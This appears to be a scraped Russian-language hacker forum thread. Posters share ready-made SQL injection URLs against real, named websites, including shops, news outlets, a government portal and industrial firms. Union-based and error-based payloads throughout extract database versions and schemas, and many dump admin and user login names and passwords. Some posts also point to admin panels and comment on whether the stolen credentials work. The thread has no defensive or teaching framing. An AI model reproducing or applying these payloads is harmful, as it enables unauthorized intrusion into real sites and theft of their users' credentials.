http://www.cfmoto.cn/Product.php?id=2+or+(select+count(*)from(select+1+ union+select+2+union+select+3)x+group+by+concat(mi d((select+concat_ws(0x3a,version(),database(),user ())),1,64),floor(rand(0)*2)))

5.0.51b-community-nt:chunfeng_weben:root@localhost1

PR: 3

[AC//DC]

БАЛТИКА-ТРАНС

http://baltica-trans.ru/index.php5?articleId=-5+and+1=2+union+select+1,concat(@@version,0x0a,use r(),0x0a,database(),0x0a,@@version_compile_os),3+--

version : 5.1.46-log

user : baltica-trans@localhost

database : baltica_trans_rus

os : portbld-freebsd7.2

[Bramin]

http://www.bec.bn.by/news.php?action=detail&id=-3+union+select+group_concat(0x0b,table_name),2,3,4 +from+information_schema.tables--

http://www.miroboew-kazan.ru/news.php?id=-3+union+select+1,group_concat(0x0b,table_name),3,4 ,5,6,7+from+information_schema.tables--

http://auto-elita.od.ua/news.php?act=news&id=-3+union+select+1,2,3,group_concat(0x0b,id,0x3a,use r,0x3a,pass),5,6+from+userlist--

http://www.injacksonmemory.com/ru/news.php?ID=-3+union+select+1,2,3,group_concat(0x0b,user_name,0 x3a,pass),5+from+users--

[tracy]

http://www.lawyercom.ru/favreader.htm?id=1243+and+1=0+UnIon+selECt+1,2,3,4 ,group_concat(table_name),6,7,8,9,10,11,12,13,14+f rom+information_schema.tables+where+table_schema=0 x75736572+--+

ТИЦ : 250 PR: 5

[R1dex]

Code:
http://www.noisehire.com/instruments/cr161c.php?id=-4 UNION SELECT 1,2,3,4,5,6,7,concat(user_name,0x3a,user_password, 0x3a,user_email),9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24 from cpg14x_users--+

[tracy]

[/B]

http://www.otdveridodveri.ru/faq.php?id=3+and+1=0+union+select+1,group_concat(s chema_name),3,4,5+from+information_schema.schemata +--+

ТИЦ : 10 PR:2

[brutos]

http://vivatclub.ru/fitness/view_news.php?id=-55'+and+1=2+union+select+1,2,cast(version()+as+cha r),4,5,6+--+

Version: 4.1.7

PR 2, ТИЦ 110

[R1dex]

Code:
http://www.ifanz.com/04/subpage.php?ID=-42 union select 1,2,3,4,version(),6,7--+



Code:
http://www.oceanindependence.com/yacht_forcharter.php?id=-2376 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53, 54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 ,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,8 7,88,89,90,91,92,93,94,95,96,97,98,99,version(),10 1,102,103,104,105,106,107,108,109,110,111,112,113, 114,115,116,117,118,119,120,121,122,123,124,125,12 6,127,128,129,130,131,132,133,134,135,136,137,138, 139,140,141,142,143,144,145,146,147,148,149,150,15 1,152,153,154,155,156,157,158,159,160,161,162--+



Code:
http://www.austinlehman.com/pages/local_bites_individual/127.php?id=-14 union select 1,2,3,4,5,6,group_concat(concat(user_login,0x3a,us er_pass)separator 0x3c62723e),8,9,0 from+wp_users--+

[tracy]

http://www.bordy.ua/index.php?id=8+and+1=0+union+select+1,2,version(), 4,5+--

PR: 2

http://www.airdisaster.ru/reports.php?id=15+and+1=0+union+select+1,2,3,conca t_ws(0x3a,user_id,username,password),5,6+from+ads_ forum__users+limit+0,1+--+

Админка форума http://www.airdisaster.ru/forum/admin.php

ТИЦ : 70

view-source:http://www.elcable.ru/product/catalog/?id=2+and+1=0+union+select+1,group_concat(table_na me),3,4,5,6,7,8+from+information_schema.tables+whe re+table_schema=database()+--+

ТИЦ : 1100

view-source:http://www.elcable.ru/product/catalog/?id=2+and+1=0+union+select+1,file_priv,3,4,5,6,7,8 +from+mysql.user+--+

file_priv= Y

[ubi]

http://www.1src.com/freeware/fileinfo.php?id=-1674'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13

[Konqi]

http://www.diariodominicano.com/n.php?id=-15239+union+select+1,group_concat(username,0x3a,pa ssword)+from+writers--

[satana-fu]

одно и то же на всех сайтах

http://artpoligon.ru/see.php?file=0+union+select+1,2,concat_ws(char(58) ,user,char(32),pass),4,5+from+auth--

http://www.evrohouse.ru/see.php?file=0+union+select+1,2,concat_ws(char(58) %20,user,char(32),pass),4,5+from+auth--

http://artpoligon.ru/admin/index.php

http://www.evrohouse.ru/admin/login.php

http://www.instruktora.net/see2.php?id_photo=-16+union+select+1,2,group_concat(name,char(58),pas s),4,5+from+user--

http://www.instruktora.net/login.php

[tracy]

http://ctsv.engec.ru/news/index.php?id1=258+and+1=0+UnIon+selECt+1,2,3,4,ver sion(),6,7,8,9,10,11,12,13,14+--+

4.1.22

ТИЦ : 200 PR: 4

view-source:http://www.tdgalion.ru/new.php?article=1+and+1=0+union+select+group_conca t(table_name)+from+information_schema.tables+where +table_schema=database()+--+

ТИЦ : 650

http://www.shinexpress.ru/goods_detail.php?id_goods=770583'+and+1=0+UnIon+se lECt+1,2,concat_ws(0x3a,username,password,admin_em ail),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22+from+admin+limit+0,1+--+

ТИЦ : 110 PR: 3


/admin запрещено,а к users неподходит пара логин:пароль

http://kolesaonline.ru/news.php?id=59+and+1=0+union+select+1,version(),3, 4,5,6+--+

ТИЦ : 110 PR: 2


4.1.25-log

[Konqi]

http://www.asap-utilities.com/asap-utilities-excel-tools-tip.php?tip=259&utilities=97'+or+(1,1)=(select+count(0),concat((se lect+concat(user_login,char(58),user_pass)+from+wp _users+limit+0,1),floor(rand(0)*2))from(informatio n_schema.tables)+group+by+2)--+

[tracy]

http://www.novostroy.su/index.php5?class=search&module=objects&objectId=644+or+(select+count(*)from(select+1+unio n+select+2+union+select+3)x+group+by+concat(mid((s elect+TABLE_NAME+from+information_schema.tables+wh ere(table_schema!=0x696E666F726D6174696F6E5F736368 656D61)limit+4,1),1,64),floor(rand(0)*2)))

ТИЦ: 220

44 таблиц MYSQL-5

http://www.yit-dom.ru/main.php?page=static&number=1+and+1=0+union+select+1,group_concat(table _name+SEPARATOR+0x3c62723e),3,4,5,6+from+informati on_schema.tables+Where+table_schema=database()+--+

ТИЦ : 200

[FlatL1ne]

http://ocenshik.mostpp.ru/news.php?id=1+and+1=0+union+select+1,2,3,4,version (),6,7,8+--+

mysql 4.0.27

[R1dex]

Code:
http://www.abcbookworld.com/view_author.php?id=3010 or 1 group by concat((select concat(version(),0x3a,user())),floor(rand(0)*2))ha ving min(0) or 1--+



Code:
http://www.farawaybeauties.com/gallery.php?id=-42175' union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20--+

[dlb]

http://www.symbianfrance.com/logiciel.php?num=11-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4--

ТИЦ 10

PR 4

[-PRIVAT-]

http://granadainfo.com/report/comments.htm?loc_id=11/**/and/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/version()),1,64),floor(rand(0)*2)))




www.blessingbasket.org/?loc_id=90/**/and/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/version()),1,64),floor(rand(0)*2))) [/




http://www.ylpl.lib.ca.us/mod.php?mod=calendar&op=list_events&loc_id=-2+union+select+1,2,3,4,5--




http://urschel.com/foods.php?food_id=38+and+substring(version(),1,1)= 3&food_name=Cantaloupe




http://www.ecgi.org/members_directory/member.php?member_id=6/**/and/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/version()),1,64),floor(rand(0)*2)))




http://www.greece-athens.com/member.php?member_id=-295/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53, 54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 ,71,72,73,74,75,76,77--




http://www.aachc.org/membersd.php?member_id=-19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5--




http://www.holiday.gr/member.php?member_id=-7400+union+select+1,2,3--




http://www.36bedfordrow.co.uk/new_CV.php?member_id=77/**/and/**/(select/**/count(*)from(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(mid((select/**/version()),1,64),floor(rand(0)*2)))




http://kbdt.ru/photosecrets/?prod_id=-2+union+select+1,2,3--




http://www.sonetnn.ru/articles/?prod_id=-20+uNion+seLect+1,2,3--




http://www.localfirstaz.com/directory/listing.php?member_id=-4292+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 ,15--




http://www.russianprospects.com/public/profile.php?player_id=-390
+union+select+1,2,concat_ws%280x3a,username,passwo rd%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41+from+users--




http://www.ketteringtownfc.co.uk/player.php?player_id=-14+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7, 8,9,0,1,2,3,4,5,6,7,8--




http://www.fabsitges.com/villa_detail.php?villa_id=-182+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7 ,8,9,0--

[tracy]

http://www.viteks.info/product_show.php?id=55'+and+1=0+UnIon+selECt+1,2,g roup_concat(table_name),4,5,6,7,8,9,10+from+inform ation_schema.tables+where+table_schema=database()+--+

ТИЦ : 20 PR: 3

http://www.s-kraski.ru/press_center/show.php?id=1+and+1=0+UnIon+selECt+1,group_concat( table_name),3,4,5,6,7,8,9,10+from+information_sche ma.tables+where+Table_schema=database()+--+

ТИЦ : 10 PR: 2


http://www.mariinskaia.com/cms/project_show.php?id=57+and+1=0+UnIon+selECt+1,2,ve rsion(),4,5,6,7,8,9,10,11,12,13,14,15,16+--+

ТИЦ : 10


http://litr.pageforyou.ru/works/show.php?id=313+or+(select+count(*)from(select+1+u nion+select+2+union+select+3)x+group+by+concat(mid ((select+version()),1,64),floor(rand(0)*2)))

4.1.25-log


http://www.benzoland.ru/show.php?id=781+and+1=0+UnIon+selECt+1,2,version() ,4,5,6,7,8,9,10,11,12,13+--++--+

4.1.25-log


http://www.glass-decor.ru/news/show.php?id=42+and+1=0+union+select+group_concat(t able_name),2+from+information_schema.tables+where+ table_schema=0x676c6173736465636f7272755f6462+--+

[satana-fu]

домен вообще жесть)))))))))))))))))))

http://www.gotohui.com/ask/zj_detail.php?userid=-20060728+and+(select*from(select+count(*)from(sele ct+1+union+select+2+union+select+3)y+group+by+conc at(mid((select+concat_ws(0x3a,version(),database() ,user())+from+INFORMATION_SCHEMA.TABLES+limit+0,1) ,1,65),floor(rand(0)*2)))y)--+

[stepashka_]

http://ru-chel.ru/ind.php?pn=4&id_categ=-31+union+select+1,2,3,4,5,6,group_concat(column_na me),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26,27,28,29,30,31+FROM+INFORMATION_SCHEMA.CO LUMNS+WHERE+TABLE_NAME=0x414b4b+--+

Тиц : 10

[moodoone]

PHP:
http://bezkomissii.com/list.php?category=-11+union+select+1,2,version(),4,5,6,7,8,9,10--

ТИЦ: 10

[satana-fu]

http://www.pastosaludese.gov.co/portal/faq/see.php?id=-181+and+(select*from(select+count(*)from(select+1+ union+select+2+union+select+3)x+group+by+concat(mi d((select+group_concat(user,char(58,32),pass)+from +usuar+limit+0,1),1,60),floor(rand(0)*2)))n)--

[tracy]

http://www.frankenmuthnews.com/?page_id=1+and+1=0+union+select+1,version()+--+

http://couriernews.com/story.php?ID=-25977+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11 ,12+--+

ТИЦ : 10

http://www.jonesborosun.com/stories.php?ID=-1+UnIon+selECt+1,2,3,4,5,6,version(),8,9,10,11,12+--+

ТИЦ : 10

http://spinach7.com/signature/sig-stories.php?id=584+and+1=0+UnIon+selECt+1,2,3,4,5, 6,7,8,9,concat_ws(0x3a,username,password),11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25+from+users+li mit+0,1+--+

http://www.lookoutnewspaper.com/top-stories.php?id=308'+and+1=0+UnIon+selECt+1,version (),3,4,5,6,7,8,9,10+--+

ТИЦ : 10

http://www.gundam-wing-universe.net/fanfiction/stories.php?id=1573&chapter=1+and+1=0+UnIon+selECt+1,2,3,4,group_conca t(schema_name),6,7,8,9+from+information_schema.sch emata+--+

ТИЦ : 10 PR: 1

http://www.apiequalityla.org/stories.php?id=5+and+1=0+UnIon+selECt+1,2,3,4,5,6, 7,8,9,10+--+

http://www.morganhabitat.org/stories.php?ID=27'+and+1=0+UnIon+selECt+1,version( ),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+--+

PR: 3

http://www.equineramblersuk.co.uk/horse-riding-stories.php?id=2'+and+1=0+UnIon+selECt+1,2,group_c oncat(schema_name),4,5,6,7,8,9,10,11+from+informat ion_schema.schemata+--+

ТИЦ : 10

http://www.hivaidsproviders.org/worldaidsday/stories.php?id=2'+and+1=0+union+select+1,group_con cat(schema_name),3,4,5,6+froM+information_schema.s chemata+--+

PR: 1

[satana-fu]

http://shelterbox.org.uk/deployment_details.php?id=-136+union+select+1,2,3,group_concat(AdminName,char (58),AdminPwd,char(58),AdminAdmins),5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35,36+from+Admin+--

[0pTik]

http://badoff.ru/category1488?vendorid=-1+union+select+table_name+from%20information_schem a.tables--

[R1dex]

Code:
http://www.financialexpress.com/budget08/story.php?id=-279345 union select null,null,table_name,null,null,null,null,null from information_schema.tables limit 1 offset 0--

PostgreSQL 8.2.0

[av1]

Code:
http://www.climateactiontracker.org/country.php?id=-2103+UNION+SELECT+1,2,3,4,concat_ws%280x3a,user%28 %29,version%28%29,database%28%29%29,6--

Username: ncf285@eden3.netclusive.de

Version: 4.1.22-log

Database: usr_ncf285_1

Google PR: 6


Code:
http://www.internationalstudents.org/survival-grocery-paying.php?idlv2=5&idlv3=-37+UNION+SELECT+1,concat_ws%280x3a,user%28%29,vers ion%28%29,database%28%29%29,3,4,5--

dbo117055967@74.208.16.21:4.0.

выдало только это!

Google PR: 6

[R1dex]

Шопы:


Code:
http://www.leonnorell.com/detail.php?id=-419 union select 1,2,3,4,group_concat(concat(table_name,0x3a,table_ rows)separator 0x3c62723e),6,7,8,9,0,11,12,13,14,15,16,17,18 from information_schema.tables--+



Code:
http://www.logi-libros.com/ficha.php?id=-1980 UNION SELECT 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27--+

[Lasteeck]

http://orbita-auto.ru/index.php?mode=news&id=3001+and+1=0+union+select+1,2,concat_ws%280x3a, email,level,pass%29,4,5,6,7,8,9,10,11,12,13+from+u sers--

уже все пароли и логины вылезли

эмейл это логин

забераем

[-PRIVAT-]

http://www.geschenke-klick.de/katalog/product_info.php/products_id/9826'%20or%201%20group%20by%20concat(version(),flo or(rand(0)*2))having%20min(0)%20or%201--%201




http://www.footbag-shop.de/catalog/product_info.php/products_id/51'%20or%201%20group%20by%20concat(version(),floor (rand(0)*2))having%20min(0)%20or%201--%201/language/en




http://www.keuchen.de/product_info.php/products_id/798'%20or%201%20group%20by%20concat(database(),flo or(rand(0)*2))having%20min(0)%20or%201--%201




http://www.aquafair.de/product_info.php/products_id/303'%20or%201%20group%20by%20concat(version(),floo r(rand(0)*2))having%20min(0)%20or%201--%201



3 мускул ^__^

[stepashka_]

http://ultraweb.spb.ru/ind.php?pn=5&id_categ=-12+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user()),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23--+

5.0.91-community:ultraweb_board:ultraweb_ultra@localhost

ТИЦ: 10

[bloodAngel]

http://www.kinolumiere.com/?id=-1+union+select+1,2,3,concat_ws(0x3,version(),user( ),database()),5,6--

[Gedj]

Code:
http://banki.volgograda.ru/index.php?id=-23+union+select+1,2,version(),4,5,6,7,8,9,10,11,12 ,13,14,15,16--



Code:
http://www.pogoda.ua/index.php?id=-23+union+select+1,concat(0x3a,password,login),3,4, 5+from+users--



Code:
http://parovoz.com/regio/index.php?ID=-611+union+select+group_concat(table_name),2+from+i nformation_schema.tables--

[Gedj]

Code:
http://www.croata.hr/detail/detail.php?artikl=889+AnD+row(1,2)in(select+count( *),CoNCaT((select+TabLE_NAmE+from+information_sche ma.%60tables%60+LiMIT+0,1),0x3a,floor(rand(0)*2))a s+a+from+information_schema.%60tables%60+x+GrOuP+b y+a)

[Lasteeck]

http://www.anatili-almaty.kz/news.php?id=4+and+1=0+union+select+1,concat_ws%280 x3a,uname,passwd%29+from+authuser--


не подходит пасс и логин

http://www.anatili-almaty.kz/admin.php

[Lasteeck]

http://turrus.kz/gallery.php?id=2+and+1=0+union+select+1,concat_ws% 280x3a,login,pwd%29+from+_users--


http://turrus.kz/forum

http://turrus.kz/forum/admin

админку не нашел сайта

зато есть форум, пароли на форум не подходят

[moodoone]

PHP:
http://www.laboratoriosys.es/nueva/pop.php?id=-53+union+select+1,concat(usuario,0x3a,clave),3,4,5 ,6+from+usuario--

[tracy]

http://www.uavtoterm.ru/news.php?id=9+and+1=0+union+select+1,concat_ws(0x3 a,name,password,fullname,mail),3,4,5,6+from+users+ limit+0,1+--+

ТИЦ: 20

http://www.automzsa.ru/autofurgons.php?id=29+and+1=0+union+select+1,2,gro up_concat(table_name+separator+0x3c62723e),4,5,6,7 +from+information_schema.tables+where+table_schema =database()+--+

ТИЦ: 40

http://www.ural-tuning.ru/catalog_dor.php?id=50+and+1=0+union+select+1,2,ver sion()+--+

ТИЦ: 20

http://www.tgauto.ru/automobiles.php?id=12+and+1=0+UnIon+selECt+1,2,ver sion(),4,5,6,7,8,9,10,11,12,13,14,15+--+

ТИЦ: 30

standart-ural.ru/materials.php?gr=1+and+1=0+union+select+group_conc at(table_name),2+from+information_schema.tables+Wh ere+table_schema=database()+--+

ТИЦ: 20 PR: 1

http://www.ural-arz.ru/kapremount_auto.php?id=9+and+1=0+union+select+1,gr oup_concat(table_name)+from+information_schema.tab les+where+table_schema=database()+--+

ТИЦ: 20

[AC//DC]

Sambir.org

http://www.sambir.org/?page=oput_all&id_o_z=-11+and+1=2+union+select+1,concat_ws(0x3a,@@version ,user(),database(),@@version_compile_os),3,4,5+--

version : 5.0.91-community-log

user : sambiri_sambiri@localhost

database : sambiri_sambir

os : pc-linux-gnu

http://www.sambir.org/?page=oput_all&id_o_z=-11+and+1=2+union+select+1,concat_ws(0x3a,login,pas sword),3,4,5+from+users+limit+1+offset+2+--

[ubi]

Code:
http://spring74.ru/index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_c oncat(username,0x3a,password),14,15,16,17,18,19,20 ,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube



Code:
http://allgamers.in/video/video/index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12



Code:
http://patriot38.ru/component/jomtube/video/index.php?view=videos&type=member&user_id=-10+union+select+1,2,3,4,5,

[AC//DC]

Code:
http://www.mmotor.ru/news/?id=-26+union+select+1,2,3,4,concat_ws(0x3a,@@version,u ser(),database(),@@version_compile_os),6+--

4.0.27-max-log:streetwa_mmot@v52.valuehost.ru:streetwa_mmot:u nknown-freebsd4.7

[sabe]

hi from VITAL

www.tellico4x4.com/index.php?manufacturers_id=-289'+union+select+1,version(),3,4%23

[Konqi]

http://www.ningbo-wugu.com/read_news.php?id=35+and+1=0+union+select+1,2,3,4,v ersion(),6,7,8,9,10,11,12,13,14

[zlo12]

http://www.achekhova.ru/img.php?rub=press&id=244+union+select+1,2,3,concat(version(),databas e(),user())+limit+1,1

Database Version: 5.1.41-log

Database name: achekhova_db

User name: achekhova_mysql@10.1.42.83

[Lasteeck]

http://media-get.ru/index.php?sid=7+and+1=0+union+select+1,2,3,4,5,6,7 ,8,concat_ws%280x3a,login,pass%29,10,11+from+admin s--


в титлах пароль и логин

http://media-get.ru/admin

наверняка баян, но я не слежу за баянами или нет


http://damoda24.ru/catalog.php?sid=7+and+1=0+union+select+1,2,3,conca t_ws%280x3a,email,password%29+from+users--

[tracy]

http://www.chelgorarh.ru/site/index/news/?id=15'+and+1=0+UnIon+selECt+1,2,3,4,group_concat( table_name+separator+0x3c62723e),6,7,8,9,10+from+i nformation_schema.tables+where+table_schema=databa se()+--+

ТИЦ : 10

http://www.tdsigma.ru/site/index/news/?id=13'+and+1=0+UnIon+selECt+1,2,3,4,group_concat( table_name+separator+0x3c62723e),6,7,8,9,10+from+i nformation_schema.tables+where+table_schema=databa se()+--+

ТИЦ : 60

http://www.zembank.ru/site/index/news/?id=12+and+1=0+UnIon+selECt+1,2,3,4,group_concat(t able_name+separator+0x3c62723e),6,7,8,9,10+from+in formation_schema.tables+where+table_schema=databas e()+--+

ТИЦ : 300

http://www.kingpack.ru/site/index/news/?id=14+and+1=0+union+Select+1,2,group_concat(table _name+separator+0x3c62723e)+from+information_schem a.tables+where+table_schema=database()+--+

ТИЦ : 30 PR: 3

http://www.basket-chel.ru/site/index/news/?id=167'+and+1=0+UnIon+selECt+1,2,3,4,group_concat (table_name+separator+0x3c62723e),6,7,8,9,10+from+ information_schema.tables+where+table_schema=0x626 1736b65742d6368656c5f6d61696e+--+

ТИЦ : 10 PR: 1

п.с. нашел бажный скрипт у разработчиков сайтов , решил загуглить inurl:"site/index/news/?id=" , вот и результат

[ubi]

http://www.storytellerwine.com/wine/wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass ,0x3a,user_email)+FROM+wp_users--

[AC//DC]

КРАСОТА ОНЛАЙН

http://www.krasota.ru/krasota/articles/show.htpl?id=-1919+union+all+select+1,2,3,4,5,6,aes_decrypt(aes_ encrypt(concat_ws(0x3a,@@version,user(),database() ,@@version_compile_os),0x71),0x71),8,9,10,11+--

4.1.16-standard

krasota_v3@lbarbero-12.m-10.ru

krasota_v3

unknown-freebsd4.7

[tracy]

www.dhysj.com/new.php?id=194+and+1=0+UnIon+selECt+1,2,3,4,concat _ws(0x3a,id,login,pwd),6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21+from+cdqw_admin+limit+0,1--+

Китайский сайт

[life_glider]

Продолжим раздачу админок


Code:
http://www.fabral.com/product.php?id=-1) union select 1,username,3,4,5,password,7,8,9,10,11,12,13 from users limit 1,0+--+

http://www.fabral.com/admin/


Code:
http://www.eyelaworld.com/product.php?id=-4%20union%20select%201,2,concat_ws%280x3b,version% 28%29,database%28%29,user%28%29,@@version_compile_ os%29,4,5,6,7+--+

pr4, 4.1.22-standard-log;dbeyela;dbeyela@192.168.57.254;pc-linux-gnu

[daniel_1024]

http://antivirus-kaspersky.com.ua/news.php?simple=1&id=32+and+1=0+union+select+1,2,3,version(),5--

[Gedj]

Code:
http://parovoz.com/regio/index.php?ID=-611+union+select+group_concat(table_name),2+from+i nformation_schema.tables--



Code:
http://www.imadesign.ru/design?id=-252+union+select+1,version(),3,4--



Code:
http://www.milon.ru/index.phtml?id=-4+union+select+1,group_concat(table_name),3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+inform ation_schema.tables--

[boxazbox]

Access


http://www.acci.com/news.asp?id=75+union+select+0,1,username,3,4,passw ord+from+admin

[tracy]

http://www.uralmash.ru/rus/products/catalogue/aboutcategory.htm?sect=13+and+1=0+union+select+con cat_ws(0x3a,id,name,pass,email),2+from+users+limit +3,1+--+

ТИЦ : 600


http://www.ugmk.com/ru/press-center/news/index.php?id15=9321+and+1=0+UnIon+selECt+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 600 PR: 5

http://www.elem.ru/ru/press/index.php?id15=9222+and+1=0+UnIon+selECt+1,2,3,4,5 ,6,7,8,database(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 600


http://www.ggok.ru/ru/press/index.php?id15=9243+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 70


http://www.kru.ru/ru/press/index.php?id15=8987+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 250


http://www.shaaz.ru/ru/press/index.php?id15=7746+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 100


http://www.svg.ru/ru/press/index.php?id15=9098+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 60


http://www.sibkabel.ru/ru/press/index.php?id15=6631+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 500


http://www.orenrad.ru/ru/press/index.php?id15=8839+and+1=0+union+Select+1,2,3,4,5 ,6,7,8,version(),10,11,12,13,14,15,16,17,18+--+

ТИЦ : 30 PR:4

Везде 1 скрипт ..везде 18 полей ... везде mysql 4

[Gorev]

http://esetnod-32.com.ua/news.php?simple=1&id=11+UNION+SELECT+1,AES_DECRYPT%28AES_ENCRYPT%28C ONCAT_WS%280x3a,Version%28%29,Database%28%29,User% 28%29,@@version_compile_os%29,0x71%29,0x71%29,3,4+ LIMIT+1,1--



Database Version: 5.0.85-community

Database name: esetnod_NEWS

User name: esetnod_bssergy@localhost

Os: linux-gnu

[tracy]

http://avto-rinok.com.ua/search/avt_marka=70+or+(select+count(*)from(select+1+unio n+select+2+union+select+3)x+group+by+concat(mid((s elect+version()),1,64),floor(rand(0)*2)))

ТИЦ : 10 PR: 3


OC: pc-linux-gnu1

MySQL version : 5.0.70-log1

user:gbua_avto_rinok

[AC//DC]

Педагогический институт СГУ им.Н.Г.Чернышевского

http://spi.renet.ru/mynews/news.php?id_news=-474+and+1=2+union+all+select+1,2,3,concat_ws(char( 58),@@version,user(),database(),@@version_compile_ os),5,6,7,8,9,10,11,12,13,14+--

version : 5.0.67-community-nt

user : my_news@localhost

database : my_news

os : Win32

[Axel_Ustus]

http://www.photo-article.com/Gallery/ViewByArticle.php?sub_id=18+union+select+1,2,3,4,5 ,6--

[Konqi]

http://www.straub-kreativ-technik.de/home/details.php?Produkt=241+and+ascii(lower(substring( (select version() from information_schema.tables limit 0,1),1,1)))=53

http://www.saintjames.de/damen-gurtel.php?num=0&id=-00000325+union+select+1,2,3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17

[AC//DC]

Сибирский федеральный округ

http://sfokr.ru/index.php?reg=-22+and+1=2+union+select+concat_ws(0x3a,@@version,u ser(),database(),@@version_compile_os)+--&opf=&pag=1&src=

5.0.90

root@localhost

deb

portbld-freebsd6.3-1

[ubi]

http://profilplus.com.ua/index.php?sec=katalog&page=uplotniteli%27+and+0+union+select+1,2,3,4,5,6 ,7,8,9,GROUP_CON%20%20CAT%28concat_ws%28%27:%27,lo gin,password%29%20sepa%20%20rator%20%20%27@%27%29+ FROM+users%23

[grably]

http://www.bilnik.ru/work/vel/str/page.php?id=87+and+1=0+union+select+1,2,3,4,concat _ws%280x3b,id,login,parol,admin%29,6+from+km_users +--+

тиц 10